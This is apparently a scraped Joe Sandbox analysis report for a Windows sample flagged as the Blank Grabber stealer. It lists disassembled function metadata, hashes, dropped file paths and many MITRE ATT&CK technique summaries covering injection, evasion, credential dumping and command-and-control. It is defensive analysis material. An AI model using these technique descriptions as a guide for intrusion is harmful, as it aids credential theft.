API String ID: 233258989-2249936285
Opcode ID: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction ID: 19a04a32705301771efc39872a2c197eac02abf25ae91b8a20f0076dee7c138e
Opcode Fuzzy Hash: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction Fuzzy Hash: 3111B662A0868046E7309B25E0113E973A0FB88B44F5840B1EF8DC775ADE3CD945CB40

Function 00007FF69A40331C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A4142CC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A41430F

GetVolumeInformationW.KERNEL32(?,00007FF69A400BED,?,?,00000000,?,?,00007FF69A3FF30F,00000000,00007FF69A3E6380,?,00007FF69A3E2EC8), ref: 00007FF69A40337E

Strings

FAT, xrefs: 00007FF69A403388
FAT32, xrefs: 00007FF69A40339D

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: InformationVolumeswprintf
String ID: FAT$FAT32
API String ID: 989755765-1174603449
Opcode ID: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction ID: 4c289c1652ab640db772fd46f527db30346cf37f0ab11bd14997e42087512907
Opcode Fuzzy Hash: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction Fuzzy Hash: 36115171A1CA8241EB709B10E8812E673E4FF95B44F8160F1EA8DC3A95DF3DE1148B04

Function 00007FF69A42B974 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF69A42B97B
GetLastError.KERNEL32 ref: 00007FF69A42B986

Part of subcall function 00007FF69A3FCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF69A3FCEDE

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF69A42B990

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorExceptionLastObjectSingleThrowWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 564652978-2248577382
Opcode ID: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction ID: 268b49cfa1d767e0c1e13e8daa41f857c2c4dc503693f7ce1f05002d049fb32f
Opcode Fuzzy Hash: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction Fuzzy Hash: E0E04F25E1880242FA20A734EC811B433D0EF51BB4F9013F1D43EC21E1DF2CA5479302

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cmd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\? ?\Display (1).png

C:\Users\user\AppData\Local\Temp\DBdXv.zip

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\RES74CA.tmp

C:\Users\user\AppData\Local\Temp\_MEI72642\VCRUNTIME140.dll

Windows Analysis Report
cmd.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre